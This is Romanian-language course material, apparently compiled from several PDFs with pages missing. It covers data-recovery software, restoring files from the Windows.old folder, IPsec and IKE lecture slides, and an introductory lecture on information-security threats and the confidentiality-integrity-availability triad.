4. Windows 7 restore previous - Windows 7 include un program de backup automat
botezat Windows 7 Restore Previous, care poate ajuta la restaurarea fişierelor şterse din greşeală. Mai
întîi, trebuie de activat serviciul System Protection (click dreapta pe Computer – Properties – System
Protection – Configure şi selectăm prima opţiune). Ulterior, dacă ştergem un fişier din greşeală, tot ce
avem de făcut este să parcurgem paşii: click dreapta pe director – Properties – Previous Versions, iar
de acolo selectăm una dintre versiunile mai vechi ale directorului. Chiar dacă este cea mai simplă,
această metodă nu este foarte eficientă, întrucât este posibil ca sistemul să nu fi apucat să facă backup
automat înainte ca să ştergem un anumit fişier.
5
1.2. Programe contra-cost, de recuperare a datelor
Programele de recuperare a datelor contra-cost sunt mai eficiente în cazul datelor pierdute în
urmă cu câteva luni, însă preţurile acestora sunt destul de ridicate. De aceea, îţi recomandăm să
apelezi la ele doar după ce încercările de a recupera date cu un program gratuit au eşuat. Şi nu uita:
niciun program nu oferă o garanţie de 100% privind recuperarea datelor pierdute.
1. Recover My Files – Este unul dintre cele mai populare programe pentru recuperarea datelor şi
permite inclusiv restaurarea întregului hard-disk, pe lîngă posibilitatea de a previzualiza fişierele
înainte de salvare. Partea bună este că putem utiliza programul gratuit pentru căutare şi să
achiziţionăm o cheie de activare doar dacă fişierele pierdute sunt găsite.
Recover My Files
2. MunSoft Data Recovery System – Cea mai scumpă suită de recuperare de date promite că
salvează inclusiv fişierele vechi şi vine într-o multitudine de versiuni mai ieftine care recuperează
doar fişiere cu extensii specifice. De exemplu, există un program de recuperat poze şterse, dar şi
versiuni pentru fișiere Office, arhive, tipuri de partiţii şi altele.
6
MunSoft Data Recovery System
3. GetDataBack – În ciuda interfeţei spartane, GetDataBack îşi face bine treaba şi recuperează
datele inclusiv dacă tabela de partiţii a fost deteriorată, dacă datele au fost şterse de un virus sau dacă
hard-disk-ul a fost formatat. În plus, beneficiezi de update gratuit pe viaţă la versiunile ulterioare.
GetDataBack
4. Data Recovery Software – Producătorul aplicaţiei susţine că poate recupera rapid inclusiv
fişierele de mici dimensiuni, care uneori sunt “uitate” de alte aplicaţii. Funcţia este utilă dacă ai un
dcument de câţiva KB care conţine însă informaţii preţioase pe care trebuie neapărat să le recuperezi.
7
Data Recovery Software
5. Disk Doctors – Pe numele său complet Disk Doctors Instant File Recovery, programul
mizează pe rapiditatea cu care recuperează date, inclusiv în cazul formatărilor accidentale, atacurilor
cu viruşi sau căderii bruşte a curentului electric. Din păcate, nu are versiune şi pentru Windows 7.
8
Important Se recomandă să nu ștergeți niciun fișier sau folder înainte să verificați că toate
fișierele personale au fost mutate cu succes în actuala instalare de Windows.
Folderul Windows.old
Când instalați Windows Vista sau Windows 7, se creează folderul Windows.old. Programul de
instalare creează acest folder pentru a stoca fișierele din instalarea Windows XP. Pentru a găsi
folderul Windows.old în Windows Vista sau Windows 7, faceți clic pe Start , tastați
unitate:\windows.old (de exemplu, c:\windows.old) în caseta Pornire căutare, apoi faceți clic pe
Windows.old în lista Programe.
Dacă vi se solicită o parolă de administrator sau o confirmare, tastați parola sau faceți clic pe
Continuare.
Folderul Windows.old conține următoarele foldere din instalarea Windows XP:
1. unitate:\Windows.old\Windows
2. unitate:\Windows.old\Documents and Settings
3. unitate:\Windows.old\Program Files
Dacă nu s-a utilizat contul Administrator pentru a face log on în Windows XP, acest folder este
posibil să nu conțină deloc fișiere personale.
unitate:\Windows.old\Documents and Settings\All Users
Dacă ați utilizat caracteristica Fișiere partajate în Windows XP, fișierele partajate se află în folderul
All Users. De exemplu, acest folder conține emisiunile TV înregistrate pe computere care execută
Windows Media Center Edition 2005. Deschideți folderele din folderul All Users pentru a găsi toate
fișierele pe care doriți să le păstrați. Apoi, copiați aceste fișiere într-o locație nouă care se află în
afara structurii folderului Windows.old.
unitate:\Windows.old\Documents and Settings\Numeutilizator
Majoritatea fișierelor personale se află în foldere care sunt etichetate pentru fiecare utilizator
care a făcut log on pe computer în Windows XP.
9
Folderele utilizatorilor
Majoritatea fișierelor personale se află în următoarea locație:
unitate:\Windows.old\Documents and Settings\Numeutilizator
Acest folder conține următoarele trei foldere:
unitate:\Windows.old\Documents and Settings\Numeutilizator\Cookies
unitate:\Windows.old\Documents and Settings\Numeutilizator\Start Menu
unitate:\Windows.old\Documents and Settings\Numeutilizator\UserData
De obicei, aceste trei foldere nu conțin date de utilizator importante. Următoarele trei foldere se află,
de asemenea, în folderul „unitate:\Windows.old\Documents and Settings\Numeutilizator”:
unitate:\Windows.old\Documents and Settings\Numeutilizator\Desktop
unitate:\Windows.old\Documents and Settings\Numeutilizator\Favorites
unitate:\Windows.old\Documents and Settings\Numeutilizator\My Documents
De obicei, aceste trei foldere conțin majoritatea fișierelor personale importante din instalarea
Windows XP.
Restabilirea fișierelor personale
Pentru a restabili fișierele personale din instalarea Windows XP, urmați acești pași.
3. Faceți clic pe Start , apoi faceți clic pe numele de utilizator din colțul din dreapta sus al
meniului Start.
4. Faceți clic cu butonul din dreapta pe folderul Video sau Fișierele mele video, apoi faceți clic
pe Lipire.
Windows mută fișierele cu emisiunile TV înregistrate în folderul Video.
Pasul 2: Restabilirea preferințelor Internet Explorer
Pentru a muta conținutul folderului Favorites din instalarea Windows XP în Windows Vista sau
în Windows 7, urmați acești pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Documents and Settings\Numeutilizator\Favorites
10
2. Apăsați CTRL+A pentru a selecta toate elementele din folderul Favorites. Apoi, apăsați
CTRL+X pentru a muta elementele din folderul Favorites în clipboardul Windows Vista.
3. Faceți clic pe Start , apoi faceți clic pe numele dvs. de utilizator din colțul din dreapta sus
al meniului Start.
4. Faceți clic cu butonul din dreapta pe Preferințe, apoi faceți clic pe Lipire.
Windows mută fișierele din Preferințe Internet Explorer în folderul Preferințe.
Pasul 3: Restabilirea folderului Desktop
Dacă nu ați stocat niciun fișier sau date pe desktopul Windows XP, ignorați acest pas. Aveți
posibilitatea să deschideți folderul Desktop din folderul Windows.old pentru a verifica dacă pe
desktopul Windows XP s-au aflat numai comenzi rapide și niciun fișier de date.
Pentru a restabili folderul Desktop din instalarea Windows XP, urmați acești pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Documents and Settings\Numeutilizator
2. Faceți clic cu butonul din dreapta pe Desktop, apoi faceți clic pe Decupare.
3. Închideți toate ferestrele deschise.
4. Faceți clic cu butonul din dreapta pe o zonă goală de pe desktop, apoi faceți clic pe Lipire.
Apare folderul Desktop Windows XP ca o pictogramă pe desktopul curent.
Pasul 4: Restabilirea folderului Documentele mele
De obicei, majoritatea fișierelor personale se stochează în folderul Documentele mele din
Windows XP. Deși aveți posibilitatea să mutați acest folder în orice locație din Windows, se
recomandă să îl mutați în folderul Documente. Apoi, veți avea posibilitatea să găsiți mai ușor aceste
fișiere în versiunea curentă de Windows. Pentru a muta folderul Documentele mele, urmați acești
pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Documents and Settings\Numeutilizator
2. Faceți clic cu butonul din dreapta pe My Documents, apoi faceți clic pe Decupare.
11
fiecare utilizator Windows XP care are date pe computer. Acest lucru poate contribui la păstrarea
separată a datelor fiecărui utilizator în instalarea curentă de Windows.
Restabilirea altor fișiere și foldere din folderul Windows.old
După ce restabiliți toate folderele personale din instalarea Windows XP, examinați folderul
Windows.old pentru a determina dacă există alte foldere care conțin date personale.
Important Asigurați-vă că ați mutat toate datele importante înainte de a șterge folderul
Windows.old.
Dacă sistemul de operare anterior a fost Windows Vista
Pentru a restabili fișierele personale din folderul Windows.old, găsiți folderele care conțin
fișierele. Apoi, mutați fișierele în folderele corespunzătoare din instalarea curentă de Windows.
Găsiți fișierele personale
După ce instalați Windows Vista sau Windows 7, mutați fișierele personale din fostele foldere
în folderele corespunzătoare.
Important Se recomandă să nu ștergeți niciun fișier sau folder înainte de a verifica dacă toate
fișierele personale au fost mutate cu succes în actuala instalare de Windows.
Folderul Windows.old
Când efectuați o instalare particularizată de Windows Vista sau Windows 7, folderul
Windows.old este creat din nou. Programele de instalare creează acest folder pentru a stoca fișierele
din instalarea anterioară de Windows XP sau Windows Vista. Pentru a găsi folderul Windows.old în
Windows Vista sau Windows 7, faceți clic pe Start , tastați unitate:\windows.old (de exemplu,
c:\windows.old) în caseta Pornire căutare, apoi faceți clic pe Windows.old.
Dacă vi se solicită o parolă de administrator sau o confirmare, tastați parola sau faceți clic pe
Continuare.
Folderul Windows.old conține următoarele foldere din instalarea Windows Vista:
1. unitate:\Windows.old\Windows
2. unitate:\Windows.old\Utilizatori
3. unitate:\Windows.old\Program Files
Folderul „Utilizatori”
Majoritatea programelor stochează fișierele personale ale unui utilizator în folderul
„Utilizatori”. În general, nu veți găsi fișiere personale în folderul Windows sau folderul Program
Files. Folderul „Utilizatori” conține câte un folder pentru fiecare utilizator care a făcut log on pe
computer în Windows Vista.
De exemplu, următoarele foldere apar în folderul „unitate:\Windows.old\Utilizatori”:
unitate:\Windows.old\Utilizatori\Public
12
Dacă ați utilizat caracteristica Fișiere partajate în Windows Vista, fișierele partajate se află în
folderul Public. De exemplu, acest folder conține emisiuni TV înregistrate pe computere care execută
Windows Media Center. Deschideți folderele din folderul Public pentru a găsi toate fișierele pe care
doriți să le păstrați. Apoi, copiați aceste fișiere într-o locație nouă care se află în afara structurii
folderului Windows.old.
unitate:\Windows.old\Utilizatori\Numeutilizator
Majoritatea fișierelor personale se află în foldere care sunt etichetate pentru fiecare utilizator care a
făcut log on pe computer în Windows Vista.
Folderele utilizatorilor individuali
Majoritatea fișierelor personale se află în următoarea locație:
unitate:\Windows.old\Utilizatori\Numeutilizator
Acest folder conține următoarele foldere:
unitate:\Windows.old\Utilizatori\Numeutilizator\Persoane de contact
unitate:\Windows.old\Utilizatori\Numeutilizator\Desktop
unitate:\Windows.old\Utilizatori\Numeutilizator\Documente
unitate:\Windows.old\Utilizatori\Numeutilizator\Descărcări
unitate:\Windows.old\Utilizatori\Numeutilizator\Preferințe
unitate:\Windows.old\Utilizatori\Numeutilizator\Linkuri
unitate:\Windows.old\Utilizatori\Numeutilizator\Muzică
unitate:\Windows.old\Utilizatori\Numeutilizator\Imagini
unitate:\Windows.old\Utilizatori\Numeutilizator\Jocuri salvate
unitate:\Windows.old\Utilizatori\Numeutilizator\Căutări
unitate:\Windows.old\Utilizatori\Numeutilizator\Video
De obicei, aceste foldere conțin majoritatea fișierelor personale importante din instalarea Windows.
Restabilirea fișierelor personale
Pentru a restabili fișierele personale din instalarea Windows anterioară în Windows Vista sau
Windows 7, urmați acești pași.
Pasul 1: Restabilirea emisiunilor TV înregistrate
Implicit, Windows Media salvează emisiunile TV înregistrate în folderul Înregistrare TV. Pentru a
restabili aceste fișiere, urmați acești pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Utilizatori\Public\Înregistrare TV
2. Faceți clic cu butonul din dreapta pe Înregistrare TV, apoi faceți clic pe Decupare.
3. Faceți clic pe Start , apoi faceți clic pe numele de utilizator din colțul din dreapta sus al
meniului Start.
13
4. Faceți clic cu butonul din dreapta pe folderul Video sau Fișierele mele video, apoi faceți clic
pe Lipire.
Windows mută fișierele cu emisiunile TV înregistrate în folderul Video.
Pasul 2: Restabilirea fișierelor personale
Pentru a muta folderele cu fișiere personale din instalarea anterioară în Windows Vista, urmați
acești pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Utilizatori\Numeutilizator
2. Apăsați CTRL+A pentru a selecta toate elementele din folder. Apoi, apăsați CTRL+X pentru
a muta elementele din folderul Utilizatori în clipboardul Windows Vista.
3. Faceți clic pe Start , apoi faceți clic pe numele de utilizator din colțul din dreapta sus al
meniului Start.
4. Faceți clic pe Lipire.
Windows mută folderele cu fișiere personale în contul de utilizator Windows Vista.
Pentru a muta folderele de fișiere personale din instalarea anterioară în Windows 7, urmați
acești pași:
1. Găsiți folderul Windows.old, apoi deschideți folderul următor:
Utilizatori\Numeutilizator
2. Faceți clic cu butonul din dreapta pe folderul Documente, apoi faceți clic pe Redenumire.
Redenumiți folderul Documentele mele.
3. Faceți clic cu butonul din dreapta pe folderul Muzică, apoi faceți clic pe Redenumire.
Redenumiți folderul Muzica mea.
4. Faceți clic cu butonul din dreapta pe folderul Imagini, apoi faceți clic pe Redenumire.
Redenumiți folderul Imaginile mele.
5. Apăsați și țineți apăsată tasta CTRL, apoi faceți clic pentru a selecta toate folderele din
folderul utilizatorului. Apoi, apăsați CTRL+X pentru a muta elementele din folderul
Utilizatori în clipboardul Windows 7.
6. Faceți clic pe Start , apoi faceți clic pe numele de utilizator din colțul din dreapta sus al
meniului Start.
7. Faceți clic pe Lipire.
Windows mută folderele cu fișiere personale în contul de utilizator Windows 7.
Restabilirea fișierelor și folderelor altor utilizatori
Dacă alți utilizatori au făcut log on pe computer în Windows Vista, urmați pașii din secțiunea
„Restabilirea fișierelor personale” pentru a restabili datele celorlalți utilizatori. Când efectuați
14
aceasta, este util să faceți log on în Windows Vista sau Windows 7 ca utilizator distinct, pentru
fiecare utilizator Windows Vista care are date pe computer. Acest lucru poate contribui la păstrarea
separată a datelor fiecărui utilizator în instalarea curentă de Windows.
Restabilirea altor fișiere și foldere din folderul Windows.old
După ce restabiliți toate folderele personale din instalarea Windows Vista, examinați folderul
Windows.old pentru a determina dacă există alte foldere care conțin date personale.
Important Asigurați-vă că ați mutat toate datele importante înainte de a șterge folderul
Windows.old.
15
acestea sunt mutate. În al doilea rînd, aceste programe conțin functii asemănătoare cu primele două,
care pot căuta pe disc fișierele șterseșsi le pot recupera în măsura posibilului.
Recuperarea partițiilor corupte
Există însă cazuri nefericite în care nici măcar aceste programe nu ne pot ajuta. În anumite
situații, destul de rare, o partiție poate fi coruptă și poate deveni neinteligibilă pentru sistemul de
operare. În aceste situații recuperarea datelor devine o problemă de noroc. Există unele programe ce
pot recupera informațiile, însă capacitatea acestora de a duce treaba la bun sfarșit depinde în foarte
mare măsură de gradul în care partiția este afectată. În plus, asemenea erori grave necesită
dezasamblarea calculatorului, scoaterea unității de disc și introducerea acesteia într-un calculator
funcțional.
Un astfel de program este Stellar Phoenix FAT & NTFS. Acesta conține funcții avansate care,
în cazul unei partiții corupte, scanează tot discul pentru a identifica partițiile, tipul de sistem de fișiere
și structura fișierelor. Din păcate însă, funcțiile de recuperare a fișierelor nu sunt disponibile decît în
varianta înregistrată a acestui program.
Există și soluții de recuperare a datelor care pot fi folosite prin butarea de pe un CD. Acestea
oferă avantajul unei diagnosticări rapide a problemelor și conțin programe care pot repara pagubele
produse. Site-ul www.ultimatebootcd.com conține o colecție de programe pentru diagnosticarea
problemelor. Astfel pe CD pot fi găsite programele oficiale de verificare a stării hard disk-ului, de la
Hitachi (IBM), Maxtor(Quantum), Western Digital, Seagate, Fujitsu, Samsung Aceste programe pot
repara anumite defecțiuni ale discurilor care le fac imposibil de citit. Sunt disponibile o mulțime de
alte programe de lucru cu partițiile, programe de Linux de recuperare a datelor, precum și o versiune
de antivirus ce poate rula în mod Dos. Imaginea ISO a acestui CD are o dimensiune de download de
34,8 MB.
Din păcate nici unul dintre aceste programe nu poate garanta o recuperare totală a datelor în
cazul nefericit al unei căderi a sistemului, însă sunt șanse destul de mari să iți poți salva datele.
Pentru orice eventualitate însă ar fi mai bine ca periodic să se facă un back-up al datelor esențiale. Nu
există metodă mai bună de asigurare a datelor decît copierea acestora pe mai multe medii.
Pentru aceasta pot fi folosite mai multe programe, unele dintre ele fiind capabile să copieze o
partiție cu totul. Un bun exemplu sunt www.symantec.com/sabu/ghost/ghost_personal, Norton Ghost
si www.powerquest.com/driveimage, PowerQuest Drive Image 7.
16
Interfață de utilizare simplă - doar clickăm 'Scan' și alegem fișierele pe care dorim să le
recuperăm
Filtru pentru rezultate ușor de utilizat, bazat pe numele și tipul fișierului
Windows simplu cum ar fi interfața cu Listă ori Arbore
Poate fi rulată direct de pe un stick USB.
Suportă sistemele de fișiere FAT12, FAT16, FAT32, exFAT, NTFS, NTFS5 , NTFS + EFS
Recuperează fișiere de pe medii portabile (SmartMedia, Secure Digital, MemoryStick, Digital
cameras, Floppy disks, Jaz Disks, Sony Memory Sticks, Compact Flash cards, Smart Media
Cards, Secure Digital Cards, etc.)
Recuperează fișiere de pe driver externe ZIP , Firewire and USB Hard drives
Este rapid și foarte mic!
Exemplul de instalare și utilizare a programului este prezentat în Anexa 1.
Filtrează căutarea după numele fișierului, tipul, data și dimensiuni rapid și în scurt timp.
Salveașă rezultatul precedent scanat și îl importează pentru arezuma recuperarea fără a ami
scana din nou.
18
Anexa 1
19
Selectarea opțiunilor suplimentare
Declanșarea instalării
21
Începutul procesului de recuperare a informației
Afișarea rezultatelor obținute în urma scanării. Selectăm fișierele care ne interesează să fie restabilite
23
Selectăm locația pentru recuperare
24
Afișarea rezultatului obținut de către sistem
25
Anexa 2
Instalarea programului
26
27
28
Modalitatea de lucru cu programul
Pasul 1: alegerea modului de recuperare.
29
Se alege tipul fișierelor pierdute
Selectarea partiției
30
Scanarea fișierelor
31
32
Rețele Vitual Private. IPsec
1
De ce IPsec?
2
Structura IPsec
Moduri de operare:
• Transport mode. Numai datele transportate de pachetul IP sunt
criptate si/sau autentificate. Rutarea este identica deoarece
headerul IP nu este modificat sau criptat. Cu toate acestea atunci
cand este utilizat header-ul de autentificare adresele IP nu pot fi
translatate, deoarece acesta va invalida valoarea hash. Nivelurile de
transport si aplicatie sunt intotdeauna securizate prin hash asa ca
acestea nu pot fi modificate in nici un fel (de ex. translatarea
numerelor de port). Un mod de incapsulare a mesajelor IPsec
pentru traversarea NAT a fost definit in documentele ce descriu
mecanismul NAT-T.
4
Formatul pachetelor
IP IP
ESP ESP
TCP IP
User data
5
Header de autentificare
6
ESP - Encapsulating Security Payload
Structura pachetului AH
Next protocol Lungime rezervat
SPI
Numar secventa
Data autentificata (lungime variabila)
In care:
• Next protocol - numar ce identifica urmatorul protocol in payload
conform IANA;
• Lungime - lungimea portiunii data autentificata;
• SPI – identifica parametrul de securitate care in combinatie cu
adresa IP identifica SA implementata cu acest pachet;
• Numar secventa – un numar generat crescator utilizat pentru
prevenirea atacurilor replica
• Data autentificata – contine valoarea de verificarea integritatii (ICV)
necesara pentru autentificarea pachetului.
8
Format ESP
Structura header
SPI
Numar secventa
Payload data
Payload data Padding
Padding padlen next header
Data autentificata (lungime variabila)
In care:
• Payload data – datele ce vor fi transferate;
• Padding – utilizat pentru a completa dimensiunea unui bloc
• Padlen – marimea padding in octeti (max 255)
• Celelalte campuri au aceeasi semnificatie cu cele de la AH
9
Security Association
10
IPsec si Firewall
Utilizari IPsec:
• Virtual Private Network
• Securitate Internet in general
IPsec si Firewall:
• IPsec rezolva doua mari probleme: autentificatrea end to end (o masina
comunica cu masina cu care crede ca comunica) si criptarea
(preintimpinarea atacurilor care asculta traficul).
• Nici unul dintre aceste lucruri nu este rezolvat de firewall. Firewall ajuta la
protejarea impotriva unor riscuri prezente in Internet fara autentificare si
criptare.
Concluzie: IPsec nu inlocuieste firewall si nici invers. Interesanta posibilitatea
de combinare a IPsec si firewall
• Controlul accesului poate fi aplicat la traficul criptat, in functie de sursa.
• Adresa IP sursa poate fi autentificata numai daca este legata de un
certificat.
• Traficul criptat poate utiliza diferite firewall-uri, insa este necesara
coordonarea politicilor.
• Cele mai bune filtre de pachete sunt eficiente indiferent daca au IPsec AH.
Firewall-urile aplicatie au o mai buna capacitate de verificare a sursei
utilizand IPsec AH, in comparatie cu increderea acordata (sau nu) implicit
pachetelor IP normale.
11
Probleme privind implementarea
12
Managementul cheilor
Intrebari:
• De unde vin cheile folosite de IPsec? Comunicatia IPsec SA.
• Se pot utiliza chei statice?
• Care sunt cerintele privind gestionarea cheilor?
13
Protectia la raspuns
14
Comentarii IPsec
15
Internet Key Exchange (IKE)
16
IKE - filozofia de baza
18
Procesare IPsec
Nivel aplicatie
IKE
(1) Nivel sistem operare
(2)
SPD Mesaj
SAD (4)
SA Transformare mesaj
(3)
Masina A Masina B
19
Flux protocol IKE
IKE faza 1
(main sau aggressive)
Initiator Responder
IKE SA IKE SA
IKE faza 2
Quick mode
IPsec SA1 IPsec SA1
IKE faza 2
Quick mode
IPsec SA2 IPsec SA2
20
Explicatii IKE protocol
Faza 1:
• Permite celor doua entitati sa creeze IKE SA
• IKE SA defineste cheile si politicile utilizate pentru stabilirea
procesarii datelor numita si IPspec SA
• Poate opera in 2 moduri:
– Main mode – sase mesaje care asigura protectia identitatii, adica initiatorul nu este expus
unui atacator care ataca activ sistemul
– Aggressive mode – trei mesaje, mai simplu dar mai putin sigur
• In ambele moduri acelasi rezultat – IKE SA
Faza 2 numita si quick mode;
• Utilizeaza IKE SA stabilit anterior pentru a crea un IPsec SA
• Opereaza cu trei mesaje: cerere, raspuns la cerere si confirmarea
raspunsului
• Pentru simplitate cheile si configuratia utilizata pentru definire IPsec
SA sunt generate din valorile schimbate intre parti
• Daca se doreste partile pot angaja alt schimb Diffie-Hellman
• Un singur IKE SA poate fi utilizat pentru a defini mai multe IPsec SA
simultan.
21
Aureliu Zgureanu. Bazele securității informaționale.
Obiectivele temei:
Familiarizarea cu obiectul de studiu al securității informațiilor.
Caracterizarea atributelor securității informațiilor.
Analiza claselor de amenințări la adresa condidențialității, integrității și disponibilității
informației.
Cuvinte-cheie:
securitatea informației, integritate,
măsuri organizatorice, disponobilitate,
măsuri legislative, autenticitate,
măsuri tehnice, non-repudiere,
monfidențialitate, amenințare.
2
Aureliu Zgureanu. Bazele securității informaționale.
De exemplu, dacă luăm în considerare cazul unei persoane care retrage bani de la un ATM
(bancomat), persoana în cauză va încerca probabil să păstreze confidențialitatea numărului personal
de identificare (PIN) care îi permite, în combinație cu cardul, să extragă cash de la bancomat. În
plus, proprietarul ATM-ului va păstra, sperăm, confidențialitatea numărului de cont, a soldului și a
oricăror alte informații necesare pentru a le comunica băncii din care provin fondurile. Banca va
păstra confidențialitatea tranzacției cu ATM-ul și modificarea soldului în cont după retragerea
fondurilor. Dacă, în oricare moment al tranzacției, confidențialitatea este compromisă, urmările ar
putea fi negative pentru individ, proprietarul ATM-ului și bancă, în rezultat apărând ceea ce numim
breșă de securitate. Confidențialitatea poate fi compromisă de pierderea unui laptop care conține
date, de o persoană care se uită peste umăr în timp ce introducem o parolă, un atașament de e-mail
trimis persoanei greșite, un atacator care penetrează sistemele noastre sau alte probleme similare.
Integritatea este interdicţia modificării, prin ştergere sau adăugare, ori a distrugerii în mod
neautorizat a informaţiilor. Acesta înseamnă că datele să nu poată fi alterate sau să nu poată fi
modificate decât de persoane autorizate. Prin alterarea datelor se înţelege atât modificarea voit
maliţioasă, cât şi distrugerea acestora. Dar datele pot fi alterate, sau chiar pierdute/distruse, nu
numai ca urmare a unei acţiuni răuvoitoare, ci şi ca urmare a unei erori hardware, erori software,
erori umane sau a unei erori a sistemelor de securitate. În acest caz se impune să existe un plan de
recuperare şi refacere a datelor (existenţa unei copii de siguranţă).
Un bun exemplu de mecanisme care ne permit să controlam integritatea îl reprezintă
sistemele de fișiere ale multor sisteme de operare moderne, cum ar fi Windows și Linux. În scopul
prevenirii modificărilor neautorizate, astfel de sisteme implementează adesea permisiuni care
restricționează acțiunile pe care un utilizator neautorizat le poate efectua pe un anumit fișier. În
plus, unele astfel de sisteme și numeroase aplicații, cum ar fi bazele de date, ne pot permite să
anulam sau să restabilim modificările nedorite.
Integritatea este deosebit de importantă atunci când se referă la datele care reprezintă
fundamentul pentru unele decizii. Spre exemplu dacă un atacator ar modifica datele care conțineau
rezultatele testelor medicale, s-ar putea ca medicul să prescrie greșit tratamentul, care ar putea duce
la moartea pacientului.
Disponibilitatea înseamnă asigurarea condiţiilor necesare regăsirii şi folosirii cu uşurinţă a
informaţiilor ori de câte ori este nevoie, cu respectarea strictă a condiţiilor de confidenţialitate şi
integritate. Aceasta înseamnă asigurarea utilizatorilor legali cu informaţia completă atunci când
aceştia au nevoie de ea, iar utilizatorii trebuie să aibă acces doar la datele care le sunt destinate.
În contextul triadei CIA Securitatea informației poate fi definită ca ansamblul măsurilor şi
structurilor îndreptate spre protecţia informaţiilor stocate, prelucrate sau transmise prin intermediul
sistemelor informatice și de comunicaţii sau a altor sisteme electronice, precum și împotriva
3
Aureliu Zgureanu. Bazele securității informaționale.
ameninţărilor şi a oricăror acţiuni care pot afecta confidenţialitatea, integritatea și disponibilitatea
informaţiei sau funcţionarea sistemelor informatice, indiferent dacă acestea apar accidental sau
intenţionat.
4
Aureliu Zgureanu. Bazele securității informaționale.
dezvoltarea căruia contravine sau poate să contravină intereselor legale de bază ale persoanei,
societăţii şi statului în spaţiul informaţional.
Amenințarea este cauza potențială a unui incident nedorit care poate produce daune unui
sistem sau unei organizații (ISO/IEC 27005). O încercare de a pune în aplicare amenințarea se
numește atac, iar cel care face o astfel de încercare – un atacator. Atacatorii potențiali sunt numiți
surse de amenințare.
De obicei amenințarea este un rezultat a vulnerabilității, adică a slăbiciunii unei resurse sau
grup de resurse care poate fi exploatată de una sau mai multe amenințări (de exemplu posibilitatea
accesului persoanelor neautorizate la echipamentul de o importanță majoră sau existența unei erori
în software).
Perioada de la momentul apariției vulnerabilității până la eliminarea ei se numește ciclu de
viață al vulnerabilității. Atât timp cât persistă o vulnerabilitate sunt posibile atacuri asupra
sistemului informatic. Dacă vulnerabilitatea este generată de o eroare de software, atacul este
posibil de la apariția instrumentelor de exploatare a erorii până la înlăturarea acestei erori.
Pentru majoritatea vulnerabilităților perioada activă este relativ mare (câteva zile, uneori –
săptămâni), deoarece în acest timp trebuie să aibă loc următoarele evenimente:
trebuie să fie cunoscute mijloacele de utilizare a breșei în apărare;
trebuie să fie fabricat patch-ul1 respectiv;
patch-ul trebuie să fie aplicat pe sistemul informatic.
Vulnerabilitățile și mijloacele de utilizare ale lor apar încontinuu, ceea ce înseamnă că
prezența lor trebuie verificată tot timpul, iar fabricarea și aplicarea patch-ului respectiv necesită
operativitate maximă.
Amenințările la adresa securității informației pot fi clasificate în conformitate cu mai multe
criterii:
aspectul securității informației (confidențialitate, disponibilitate, integritate), spre care
amenințările se îndreaptă în primul rând;
componentele sistemelor informatice, care sunt obiectul amenințărilor (date, software,
echipament, infrastructura);
metoda de realizare (acțiuni accidentale/intenționate naturale/provocate de om);
amplasarea sursei amenințării (în interior/afara sistemului).
1
Un patch (în romana plasture) este, de regulă, un mic program prin care se face actualizarea altor programe, se rezolvă
unele erori de funcționare ale programelor ori unele probleme de securitate informatică. De exemplu toate update-urile
diverselor programe sunt patch-uri.
5
Aureliu Zgureanu. Bazele securității informaționale.
6
Aureliu Zgureanu. Bazele securității informaționale.
timpul deservirilor tehnice. În mod normal, inginerul de la service primește acces nelimitat la
echipament și este capabil de a ocoli mecanismele de protecție ale software-ului.
1.3.3. Amenințări la adresa integrității
Integritatea poate fi statică, în sensul imutabilității componentelor informatice, și dinamică,
care se referă la aplicarea corectă a acțiunilor complexe (tranzacții). Amenințări ale integrității
dinamice sunt încălcarea tranzacțiilor atomice2, reordonarea, furtul, duplicarea datelor sau
introducerea de mesaje suplimentare (pachete de rețea, etc.). Mijloacele de control ale integrității
dinamice se aplică în special la analiza fluxului de mesaje financiare.
Acțiunile corespunzătoare ale răuvoitorilor într-un mediu de rețea în scopul de a încălca
integritatea dinamică poartă denumirea de interceptare activă.
Printre acțiunile răuvoitorului (de obicei, membrul al personalului) în scopul de a încălca
integritatea statică se numără introducerea datelor incorecte sau modificarea datelor.
Pot fi falsificate de exemplu antetele de e-mail, întreg mesajul poate fi falsificat de către o
persoană care cunoaște parola. Acest lucru este posibil chiar și atunci când pentru integritate se
folosesc mijloace criptografice. Aici are loc o interacțiune a diferitelor aspecte ale securității
informației: în cazul în care se încălcă confidențialitatea, poate fi afectată integritatea. O amenințare
a integrității este nu numai falsificarea sau modificarea datelor, dar, de asemenea, și negarea actelor
comise, adică repudierea. În acest scop trebuie alocate resurse și pentru asigurarea „non-repudierii”.
Integritatea este cel mai important aspect al securității informațiilor în cazurile în care
informația este o instrucțiune sau un ghid pentru unele acțiuni exacte. Compoziția medicamentelor,
setul și caracteristicile componentelor unor produse, parcursul procesului tehnologic - sunt exemple
de informație, încălcarea integrității căreia nu este permisă. Este dezagreabilă și denaturarea
informației oficiale, fie textul unei legi sau pagina web a serverului oricărei organizații
guvernamentale.
Sunt potențial vulnerabile din punct de vedere al încălcării integrității nu doar date, ci și
aplicațiile software. Instalarea software-ului rău intenționat este un exemplu al unei astfel de
încălcări.
2
Caracterul atomic reprezintă proprietatea „tot sau nimic”. O tranzacţie atomică este o unitate indivizibilă, care ori este
efectuată în întregime, ori nu este efectuată de loc;
7
Aureliu Zgureanu. Bazele securității informaționale.
deosebi în sistemele de gestiune a producției, a transportului etc. Aparent mai puțin dramatice, însă
la fel de periculoase pot fi consecințele (atât materiale cât și cele morale) indisponibilității pe
termen lung ale serviciilor informatice destinate unui număr mare de oameni (vânzarea biletelor la
tren sau avion, servicii bancare etc.).
Erorile neintenționate ale utilizatorilor ce fac parte din personalul întreprinderii, ale
operatorilor, administratorilor de sistem, și altor persoane care deservesc sistemele informatice sunt
destul de frecvente, iar unele dintre aceste erori sunt de fapt amenințări (datele introduse incorect
sau o eroare în program care a cauzat prăbușirea sistemului). Uneori aceste erori (care sunt de
obicei administrative) creează vulnerabilități pe care atacatorii le pot utiliza. Modul cel mai radical
de a lupta cu erorile neintenționate este automatizarea maximă și un control strict.
Alte amenințări ale disponibilității pot fi clasificate după componentele sistemului
informatic la care se referă amenințarea:
1. refuzul utilizatorului;
2. defectul intern al sistemului informatic;
3. refuzul infrastructurii sistemului.
Referitor la refuzul utilizatorilor de obicei sunt prezente următoarele amenințări:
refuzul de a lucra cu sistemul informatic (cel mai adesea manifestat în necesitatea de
a învăța noile posibilități ale sistemului sau în discrepanțele între cerințele clientului
